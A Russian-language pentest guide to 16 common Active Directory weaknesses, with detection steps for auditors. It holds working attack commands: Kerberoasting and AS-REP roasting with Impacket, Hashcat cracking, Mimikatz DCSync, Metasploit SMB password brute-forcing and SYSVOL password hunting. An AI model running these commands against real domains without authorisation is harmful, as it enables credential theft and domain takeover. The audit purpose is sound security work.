Следующая информация предназначена для помощи тестерам на проникновение и аудиторам в выявлении типичных проблем, связанных с безопасностью, когда дело доходит до администрирования сред Active Directory. Он содержит шаги по обнаружению каждой уязвимости практически с точки зрения тестера на проникновение, используя стандартный набор наступательных инструментов и легко доступные инструменты. Разберем 16 основных уязвимостей Active Directory.
Этот список состоит из 16 проблем, которые чаще всего обнаруживаются во время тестов проникновения внутренней инфраструктуры и оценок уязвимостей. В этом нет ничего особенного или нового, это просто список типичных проблем.
Список организован случайным образом — поэтому он больше похож на контрольный список, чем на упорядоченный список ранжирования.
При установке Active Directory по умолчанию любой пользователь домена может добавлять в домен рабочие станции. Это определяется атрибутом ms-DS-MachineAccountQuota, который по умолчанию имеет значение 10.
Это означает, что любой пользователь домена с низкими привилегиями может присоединить к домену до 10 компьютеров. Ладно, наверное, не очень, но что в этом такого?
Проблема в том, что эти настройки позволяют любому пользователю присоединиться к своему собственному неуправляемому компьютеру для доступа к корпоративному домену со следующими преимуществами:
В корпоративных средах у пользователей никогда не должно быть прав локального администратора на своих машинах. Это один из фундаментальных средств контроля безопасности, который следует применять повсеместно.
Если пользователи имеют права администратора на своих машинах, они могут выполнять привилегированные операции в сети, такие как создание необработанных сетевых пакетов, сканирование сети, запуск эксплойтов со своей машины для атаки на другие системы в сети и многое другое.
Поэтому пользователям никогда не должно быть разрешено присоединять компьютеры к домену.
Самый простой способ проверить это — подключить тестовую машину Windows (физическую или виртуальную) к целевой корпоративной сети, чтобы она могла подключиться к контроллерам домена.
1) Запустите «sysdm.cpl», чтобы открыть «Свойства системы» -> нажмите «Изменить» и укажите имя целевого домена:
Щелкните «ОК».
2) Теперь нам будет предложено ввести учетные данные. Предоставьте любые учетные данные пользователя домена с низким уровнем привилегий.
В случае успеха мы должны увидеть сообщение «Добро пожаловать в домен org.local!» сообщение, и наша тестовая машина должна быть добавлена в AD в контейнере CN = Computers.
add-computer –domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart –force# Example add-computer –domainname org.local -Credential ORG\john -restart –forceImport-Module ActiveDirectory Get-ADComputer -LDAPFilter "(ms-DS-CreatorSID=*)" -Properties ms-DS-CreatorSIDАтрибут AdminCount в Active Directory используется для защиты административных пользователей и членов привилегированной группы, например:
Внутренняя работа, связанная с этим, — довольно сложная тема, включающая объект AdminSDHolder и процесс SDProp, который периодически изменяет такие учетные записи. Короче говоря, атрибут AdminCount никогда не следует устанавливать для обычных пользователей, поскольку он может предоставить им излишне высокие привилегии.
Например, это может помешать пользователям применять корпоративные групповые политики и модификации ACL, или, с другой стороны, это может привести к назначению им высоких привилегий (см. Описанный здесь вектор атаки с постоянством). В любом случае это представляет собой риск наличия в организации «бэкдор» пользователей, даже не подозревающих об этом.
Проблема в том, что атрибут AdminCount автоматически устанавливается в 1, когда пользователь назначается какой-либо привилегированной группе, но он никогда не сбрасывается автоматически, когда пользователь удаляется из этих групп.
Это может привести к тому, что обычные пользователи с низкими привилегиями будут иметь значение AdminCount, равное 1, но не будут членами какой-либо привилегированной группы.
Это может привести к тому, что обычные пользователи с низкими привилегиями будут иметь значение AdminCount, равное 1, но не будут членами какой-либо привилегированной группы.
Это может привести к тому, что обычные пользователи с низкими привилегиями будут иметь значение AdminCount, равное 1, но не будут членами какой-либо привилегированной группы.
Чтобы найти пользователей с атрибутом AdminCount, равным 1, мы можем использовать инструмент LDAPDomainDump. Этот инструмент собирает важную информацию обо всех пользователях, группах и компьютерах в домене. Все, что нам нужно, это учетные данные любого пользователя домена с низким уровнем привилегий и возможность доступа к порту LDAP любого контроллера домена.
Вот что делать …
1) Сначала соберите информацию с контроллера домена:
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
# Example:
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
Обратите внимание, что вместо пароля мы также могли бы просто предоставить хеш NTLM (pass-the-hash).
2) После завершения сброса мы можем получить список пользователей с атрибутом AdminCount, равным 1, путем анализа файла «domain_users.json»:
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
В качестве альтернативы, если у нас есть доступ к контроллерам домена, мы можем получить список этих пользователей следующим образом:
Import-Module ActiveDirectory
Get-AdObject -ldapfilter "(admincount=1)" -properties admincount
Когда у нас есть список затронутых пользователей, мы должны проверить, действительно ли они принадлежат какой-либо привилегированной или административной группе.
Эта уязвимость связана с чрезмерным количеством пользователей в группах привилегий, таких как:
Наличие большого количества пользователей в привилегированных группах излишне увеличивает риск взлома домена, потому что, если некоторые из этих пользователей будут скомпрометированы, это означает полную компрометацию домена.
Это не только разумно, но и поистине важно следовать принципам наименьших привилегий и назначать членство в эти группы только в случае крайней необходимости, а в идеале — никогда.
Мы видели развертывания AD с нулевым количеством пользователей в этих группах, и они работали нормально. Это может быть сделано.
Чтобы проверить это, нам нужна только учетная запись домена с низким уровнем привилегий.
Вот как перечислить эти группы с компьютера, подключенного к домену, с Windows:
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
На неподключенной машине с Windows нам нужно сначала пройти аутентификацию в домене:
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
Вот как мы можем проверить это в Linux (например, Kali Linux) с помощью команды «net»:
net rpc group members 'Schema Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Enterprise Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
# Example:
net rpc group members 'Domain Admins' -I 10.10.30.52 -U "john"%"pass123"
Если в какой-либо из групп слишком много пользователей, с этим нужно что-то делать.
Идея учетной записи службы состоит в том, чтобы назначить конкретную учетную запись пользователя с определенным набором привилегий для запуска определенной службы (или приложения), не требуя предоставления ей полных административных привилегий.
Проблема в том, что этим учетным записям назначаются непомерные привилегии и / или членство, например, при добавлении в группу «Администраторы домена».
Такая практика создает критический риск для инфраструктуры, поскольку для учетных записей служб обычно установлены пароли, срок действия которых никогда не истекает, и поэтому их пароли меняются редко, если вообще когда-либо.
Это означает, что если такая уязвимая учетная запись службы будет скомпрометирована, это позволит злоумышленнику получить полный контроль над доменом AD. И, наверное, надолго.
Просто просмотрите всех участников, принадлежащих к привилегированным группам:
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
В Linux мы можем использовать команду «net», как показано в предыдущей уязвимости.
Если в любой из этих групп есть учетные записи служб, мы должны их пометить.
Эта уязвимость более сложная. Речь идет о неправильном использовании прав Active Directory и расширенных прав, также известных как записи управления доступом (ACE).
Проблема заключается в том, что некоторые из этих прав предоставляются пользователю (или группе) с низкими привилегиями, чтобы разрешить изменение чего-то важного для пользователя (или группы) с более высокими привилегиями.
Некоторые из прав, которые обычно используются не по назначению, включают:
Эти вещи могут иметь критическое значение и часто приводят к привилегиям администратора домена. Таким образом, пользователей с такими чрезмерными привилегиями называют теневыми администраторами домена (или скрытыми администраторами).
Вот очень хорошая статья, в которой эта проблема описывается более подробно и с примерами:
Как упоминалось выше, это более сложный вопрос, требующий немного покопаться. Однако все, что нам нужно, — это пользователь домена с низким уровнем привилегий и подходящий инструмент.
Одним из инструментов, который очень помогает в этом процессе, является Bloodhound. Вот вкратце его использование:
1) Сначала мы используем «приемник» для сбора данных из среды AD — например, SharpHound.
2) Затем мы загружаем данные в интерфейсный интерфейс Bloodhound, где мы можем визуализировать отношения между объектами.
Затем язык запросов Bloodhound позволяет нам находить пути, как в этом примере:
Когда мы ищем эти права и доверяем неверным конфигурациям, мы обычно начинаем с предварительно созданных запросов, таких как:
Идея состоит в том, чтобы найти путь к группе «Администраторы домена» с нашей текущей позиции и уровня привилегий.
Вот еще несколько запросов, которые могут помочь (ссылка1, ссылка2).
Kerberoasting — очень популярный вектор атаки, направленный на учетные записи служб в Active Directory.
Проблема заключается в том, что у этих учетных записей служб слабые пароли и когда для шифрования их паролей используется слабое шифрование Kerberos RC4.
Вот оригинал статьи (слайды) Тима Медина — автора Kerberoasting:
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493862736.pdf
Эта атака была автоматизирована с помощью нескольких инструментов (например, Impacket или Rubeus), и все, что нам нужно для тестирования, — это иметь какие-либо учетные данные пользователя домена с низким уровнем привилегий.
Вот пример использования Impacket:
GetUserSPNs.py -request <DOMAIN>/<USER>:<PASS>
# Example:
GetUserSPNs.py -request example.com/john:pass123
Обратите внимание, что вместо пароля мы также можем использовать хеш NTLM (pass-the-hash).
Если мы получили какие-то хэши, это означает, что есть учетные записи служб, уязвимые для Kerberoasting.
После того, как мы получили хэши, мы можем попытаться взломать их, чтобы полностью продемонстрировать влияние. Вот пример использования Hashcat для атаки по словарю:
hashcat -m 13100 -a 0 hashes.txt wordlist.txt
# Faster with optimized kernels, but limited password length to 31 characters:
hashcat -m 13100 -a 0 -O --self-test-disable hashes.txt wordlist.txt
Вот что мы должны посоветовать нашим клиентам, когда дело доходит до защиты учетных записей служб от Kerberoasting:
В основном из-за удобства в некоторых организациях учетные записи домена настроены с установленным флагом DONT_EXPIRE_PASSWORD.
Это типичная конфигурация учетных записей служб, но иногда ее можно увидеть и в более привилегированных учетных записях домена.
Это означает, что срок действия их паролей никогда не истечет. Хотя это полезно / удобно в некоторых ситуациях, оно также может быть весьма опасным.
Учетные записи домена с высокими привилегиями и паролями с неограниченным сроком действия являются идеальными целями для атак на повышение привилегий и являются обычными пользователями «бэкдора» для поддержания доступа, например группами APT.
Чтобы найти пользователей с паролями с неограниченным сроком действия, мы можем снова использовать упомянутый ранее инструмент LDAPDomainDump. Все, что нам нужно, — это учетные данные пользователя домена с низким уровнем привилегий и возможность доступа к порту LDAP любого контроллера домена.
Вот шаги:
1) Сначала соберите информацию с контроллера домена:
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
# Example:
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
2) После завершения сброса мы можем получить список пользователей с паролями с неограниченным сроком действия, используя следующую команду:
grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
В качестве альтернативы для получения списка таких пользователей на контроллере домена можно использовать следующую команду PowerShell:
Import-Module ActiveDirectory
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | where {$_.enabled -eq "true" }
Еще один интересный флаг в Active Directory — это флаг PASSWD_NOTREQD. Если для учетной записи пользователя установлен этот флаг, это означает, что для учетной записи не требуется пароль.
Это не означает, что у учетной записи пользователя нет пароля, это просто означает, что он не обязательно должен быть. Это означает, что подойдет любой пароль — короткий, несоответствующий (противоречащий политике паролей домена) или пустой. Просто любой.
Это, конечно, огромная угроза безопасности, и ни в одной учетной записи пользователя никогда не должен быть установлен этот флаг.
Поиск пользователей с установленным флагом PASSWD_NOTREQD очень похож на поиск пользователей с паролями, срок действия которых не истекает. Мы снова можем использовать инструмент LDAPDomainDump.
Все, что нам нужно, — это учетные данные пользователя домена с низким уровнем привилегий и возможность доступа к порту LDAP любого контроллера домена.
1) Сначала соберите информацию с контроллера домена:
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
# Example:
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
2) После завершения дампа получите список пользователей с флагом PASSWD_NOTREQD, используя следующие команды:
grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
В качестве альтернативы можно использовать следующую команду PowerShell на контроллере домена, чтобы получить список пользователей с ненужным паролем:
Import-Module ActiveDirectory
Get-ADUser -Filter {UserAccountControl -band 0x0020}
Некоторым приложениям требуется пароль пользователя в виде обычного текста для выполнения аутентификации, поэтому в Active Directory поддерживается хранение паролей с использованием обратимого шифрования.
Хранение паролей таким способом по сути идентично хранению их в виде обычного текста. Это ужасная идея, но это реальность.
Единственным смягчающим фактором здесь является то, что злоумышленник должен иметь возможность получить данные пароля с контроллеров домена, чтобы прочитать пароль в виде обычного текста. Это означает наличие либо:
Оба метода уже подразумевают полную компрометацию домена AD, так что на самом деле это не такая уж катастрофа.
Без этого невозможно узнать, у каких пользователей хранятся пароли с использованием обратимого шифрования. И даже если бы мы знали, какие из них, мы не смогли бы извлечь пароли, если бы у нас не было таких высоких привилегий, что мы практически уже владеем доменом AD.
Итак, чтобы проверить эту уязвимость, мы должны выгрузить файл NDTS.DIT с контроллера домена и извлечь из него хэши. Только тогда мы сможем увидеть, у каких пользователей пароли хранятся с использованием обратимого шифрования — их пароли будут просто распечатаны в виде обычного текста.
Обратите внимание, что мы также можем получить пароль в виде обычного текста, используя Mimikatz, работающий в контексте пользователя с высокими привилегиями (который может выполнять DCSYNC), но нам нужно будет знать имя пользователя затронутого пользователя.
Вот команда Mimikatz, которая сделает это:
mimikatz # lsadump::dcsync /domain:<DOMAIN> /user:<AFFECTED-USER>
# Example:
mimikatz # lsadump::dcsync /domain:example.com /user:poorjohn
В любом случае пароли никогда не следует хранить в виде обычного текста. Эта уязвимость дает злоумышленникам, скомпрометировавшим домен AD (например, APT), и высокопривилегированным инсайдерам (например, администраторам домена) мгновенный доступ к паролям уязвимых пользователей в виде обычного текста.
Другая уязвимость, которая обычно проявляется после компрометации Active Directory, — это хранение паролей в виде хэша LM, а не NTLM.
LM-хэш — это устаревший метод хранения паролей, который имеет следующие недостатки:
Из-за этих недостатков LM-хэши чрезвычайно легко взломать. Любой, у кого есть к ним доступ, например высокопривилегированные инсайдеры (администраторы домена) могут легко взломать их и получить пароли в виде простого текста.
Как указывалось выше, эта проблема обычно обнаруживается после взлома AD и извлечения файлов NTDS.DIT.
Вот несколько слов о хэшах LM и NTLM:
Когда для части LM установлено значение, отличное от «aad3b435b51404eeaad3b435b51404ee» (пустая строка), это означает, что мы ищем хеш LM.
Итак, вот как мы можем идентифицировать хеши LM:
grep -iv ':aad3b435b51404eeaad3b435b51404ee:' dumped_hashes.txt
Эта уязвимость очень похожа на Kerberoasting, но в этом случае атака злоупотребляет учетными записями пользователей, для которых не требуется предварительная аутентификация Kerberos.
Проще говоря, это влияет на пользователей домена с установленным флагом DONT_REQ_PREAUTH.
Вот подробная статья о жарке AS-REP:
Подобно Kerberoasting, эта атака была автоматизирована несколькими инструментами (например, Impacket или Rubeus). Но есть некоторые тонкие различия …
Чтобы протестировать обжарку AS-REP, нам не нужно знать какие-либо учетные данные пользователя домена! Единственное, что нам нужно знать, это то, какие пользователи затронуты.
Если мы ничего не знаем, тогда мы можем попробовать список слов с именами пользователей, как в этом примере с Impacket:
GetNPUsers.py <DOMAIN>/ -usersfile <USERLIST.TXT> -format [hashcat|john] -no-pass
# Example:
GetNPUsers.py example.com/ -usersfile userlist.txt -format hashcat -no-pass
С другой стороны, если у нас есть какие-либо учетные данные пользователя домена с низким уровнем привилегий, мы можем сразу получить список затронутых пользователей вместе с их хэшами Kerberos AS-REP. Вот как это сделать:
GetNPUsers.py <DOMAIN>/<USER>:<PASS> -request -format [hashcat|john]
# Example:
GetNPUsers.py example.com/john:pass123 -request -format hashcat
Если мы получим хэши, нам есть о чем сообщить, и мы можем попытаться их взломать.
Вот пример с Hashcat, использующим атаку по словарю для взлома хэшей Kerberos AS-REP:
hashcat -m 18200 -a 0 hashes.txt wordlist.txt
# Faster with optimized kernels, but limited password length to 31 characters:
hashcat -m 18200 -a 0 -O --self-test-disable hashes.txt wordlist.txt
В качестве альтернативы можно использовать следующую команду PowerShell на контроллере домена для получения списка пользователей, которым не требуется предварительная проверка подлинности Kerberos:
Import-Module ActiveDirectory
Get-ADuser -filter * -properties DoesNotRequirePreAuth | where {$._DoesNotRequirePreAuth -eq "True" -and
$_.Enabled -eq "True"} | select Name
Политика паролей — это тема, которая со временем развивается. Есть много разных взглядов и мнений о том, как должна выглядеть идеальная политика паролей.
Некоторые организации применяют длинные и сложные пароли, часто меняя их. Некоторые из них более доброжелательны, а некоторые могут даже полностью игнорировать принудительное использование надежных параметров пароля и просто сосредоточиться на усилении компенсирующего контроля в своей внутренней среде в целом, так что компрометация учетной записи имеет очень незначительное влияние.
У каждого подхода, безусловно, есть свои преимущества и недостатки, но, как тестеры на проникновение, мы должны придерживаться чего-то разумного и общепринятого, даже если клиенты в конечном итоге могут сделать свой собственный выбор.
Например, CIS Benchmark рекомендует следующую политику паролей Active Directory:
Чтобы перечислить политику паролей, нам не нужны какие-либо особые привилегии — это может сделать любая учетная запись домена с низким уровнем привилегий.
Вот как мы можем отобразить политику паролей AD с машины Windows, присоединенной к домену:
net accounts /domain
Вот как мы можем отобразить политику паролей AD из Linux (например, Kali Linux) с помощью команды «polenum»:
polenum --username <USER> --password <PASS> --domain <DC-IP>
# Example:
polenum --username john --password pass123 --domain 10.10.51.11
В качестве альтернативы мы также можем использовать утилиту enum4linux:
enum4linux -P -u <USER> -p <PASS> -w <DOMAIN> <DC-IP>
# Example:
enum4linux -P -u john -p pass123 -w dom.local 172.21.1.60
Эта уязвимость связана с наличием активных учетных записей пользователей, которые не использовались в течение длительного времени в соответствии с их «датой последнего входа в систему». Эти учетные записи обычно принадлежат:
Наличие неиспользуемых учетных записей домена в домене увеличивает поверхность для атак организации, поскольку дает возможность скомпрометировать эти учетные записи, например, с помощью атак входа в систему.
Должен существовать механизм (политика) для отключения или удаления этих учетных записей на основе периодических проверок, например после 30 дней бездействия. Конечно, здесь пробег может быть разным.
Чтобы найти неактивные учетные записи домена, мы снова можем использовать упомянутый ранее инструмент LDAPDomainDump. Все, что нам нужно, — это учетные данные пользователя домена с низким уровнем привилегий и возможность доступа к порту LDAP любого контроллера домена. Вот что нужно делать:
1) Сначала соберите информацию с контроллера домена:
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
# Example:
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
2) После завершения сброса отсортируйте пользователей по дате их последнего входа в систему, используя следующую команду:
sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'
Если мы увидим что-то подобное (на момент написания статьи это 2020 год), мы должны сообщить об этом клиенту.
Эта уязвимость связана с тем, что пользователи с высоким уровнем привилегий и пользователи с правами администратора настроены на один пароль в течение очень долгого времени, например на полгода и больше.
Почему это проблема?
Привилегированные учетные записи являются вероятными целями для злоумышленников (например, APT), и если их пароли не меняются периодически, это дает злоумышленникам достаточно времени для успешного перебора своих учетных данных.
Как упоминалось ранее, все привилегированные учетные записи и служебные учетные записи должны регулярно менять пароли.
Как точно определить привилегированного пользователя? Один очень хороший индикатор — это атрибут AdminCount, о котором мы уже упоминали ранее. Итак, все, что нам нужно сделать, это получить список этих пользователей и посмотреть, когда в последний раз меняли их пароль.
Звучит немного сложно, но с упомянутым ранее инструментом LDAPDomainDump это совсем несложно. Все, что нам нужно, это учетные данные любого пользователя домена с низким уровнем привилегий и возможность доступа к порту LDAP любого контроллера домена.
Вот что делать …
1) Сначала соберите информацию с контроллера домена:
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
# Example:
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
2) После завершения дампа получите список пользователей с атрибутом AdminCount, равным 1, путем анализа
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt
3) Теперь просмотрите список привилегированных пользователей, отобразите дату их последнего сброса пароля (pwdLastSet) и отсортируйте ее:
while read user; do grep ";${user};" domain_users.grep; done < privileged_users.txt | \
grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'
Похоже, эти 5 привилегированных пользователей долгое время не меняли пароль.
Несмотря на наличие сильной корпоративной политики паролей и развитой среды, все еще могут существовать учетные записи домена со слабыми паролями.
Фактически, это очень распространенная проблема, особенно в больших средах Active Directory.
Чтобы проверить пользователей домена на наличие слабых учетных данных, мы должны сначала составить список пользователей. И чтобы получить список, мы должны иметь доступ пользователей с низким уровнем привилегий к домену.
Вот что мы могли сделать на машине с Windows, присоединенной к домену:
1) Сначала нам нужно получить список пользователей из AD, и для этого мы можем использовать следующую комбинацию PowerShell:
$a = [adsisearcher]”(&(objectCategory=person)(objectClass=user))”
$a.PropertiesToLoad.add(“samaccountname”) | out-null
$a.PageSize = 1
$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt
2) Теперь мы можем передать этот список в любой из следующих инструментов для атаки входа в систему:
В качестве альтернативы мы могли бы также использовать наш минималистичный AD login bruteforcer (github), если наши руки связаны:
Import-Module ./adlogin.ps1
adlogin users.txt domain.com password123
Вот как мы могли бы сделать то же самое в Linux (например, Kali Linux):
1) Получите список пользователей домена AD с помощью команды «net»:
net rpc group members 'Domain Users' -I <DC-IP> -U "<USER>"%"<PASS>"
Example:
net rpc group members 'Domain Users' -I 192.168.10.50 -U "john"%"pass123" > users.txt
2) Теперь мы можем использовать его в любых вышеупомянутых инструментах, например в Metasploit для атаки входа в систему:
use auxiliary/scanner/smb/smb_login
set RHOSTS <DC-IP>
set SMBDomain <DOMAIN>
set SMBPass file:pwdlist.txt
set USER_FILE users.txt
set THREADS 5
run
ВНИМАНИЕ! Перед запуском любой атаки на вход в систему мы всегда должны знать о корпоративной политике паролей, чтобы предотвратить блокировку пользователей.
Эта уязвимость связана с хранением учетных данных в общих сетевых папках SYSVOL, которые представляют собой папки на контроллерах домена, доступные и читаемые всем пользователям домена, прошедшим проверку подлинности.
Папки SYSVOL обычно используются для хранения корпоративных групповых политик, файлов конфигурации и других данных, которые отправляются пользователям при входе в систему.
Хранение учетных данных в папках SYSVOL — это то, что администраторы иногда делают или предпочитают делать в определенный момент времени, чтобы решить некоторую проблему конфигурации. Например, запуск приложения на клиентских машинах при входе в систему, для которого требуются права администратора.
Излишне говорить, что этого никогда не следует делать, потому что любой пользователь домена может получить доступ к общим ресурсам SYSVOL и найти учетные данные.
Чтобы проверить это, нам необходимо обладать всеми учетными данными пользователя домена с низким уровнем привилегий.
Вот что мы могли сделать на машине с Windows, присоединенной к домену:
findstr /s /n /i /p password \\\\<DOMAIN>\sysvol\<DOMAIN>\*
# Example:
findstr /s /n /i /p password \\\\example.com\sysvol\example.com\*
Эта команда просеивает все файлы на томе SYSVOL и ищет шаблон «пароль».
Эквивалентная команда в Linux (например, Kali Linux) будет:
mount.cifs -o domain=<DOMAIN>,username=<USER>,password=<PASS> //<DC-IP>/SYSVOL /mnt
# Example:
mount.cifs -o domain=example.com,username=john,password="pass@123" //10.10.139.115/SYSVOL /mnt
# Search:
grep -ir 'password' /mnt
Скорее всего, мы найдем что-нибудь интересное.
Например, мы могли найти атрибут cPassword в XML-файлах GPP, который можно было бы мгновенно расшифровать с помощью утилиты «gpp-decrypt»:
Теперь мы могли попытаться использовать этот пароль и аутентифицироваться с его помощью на компьютерах Windows, обнаруженных в сети. Или мы могли бы попробовать это в другом месте. Скорее всего, пароль будет где-то повторно использован (см. 10 основных уязвимостей, обнаруженных во время тестов проникновения внутренней инфраструктуры).
Каждый, кто когда-либо углублялся в мир Active Directory, безусловно, согласится со мной, когда я скажу, что обеспечение безопасности Active Directory — непростая задача. Чтобы сделать это и снизить связанные с этим риски, требуются колоссальный уровень знаний и многолетний опыт.
Но даже тогда работа не сделана. Работа на самом деле никогда не выполняется, потому что всегда есть новые требования, новые функции, новые открытия и новые уязвимости, и поэтому всегда есть возможности для улучшения. Но я уверен, что это никого не удивит в мире информационной безопасности.
Я надеюсь, что эта статья предоставила по крайней мере некоторую ценную информацию для тестеров на проникновение и аудиторов, чтобы помочь их клиентам защитить свои среды Active Directory.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…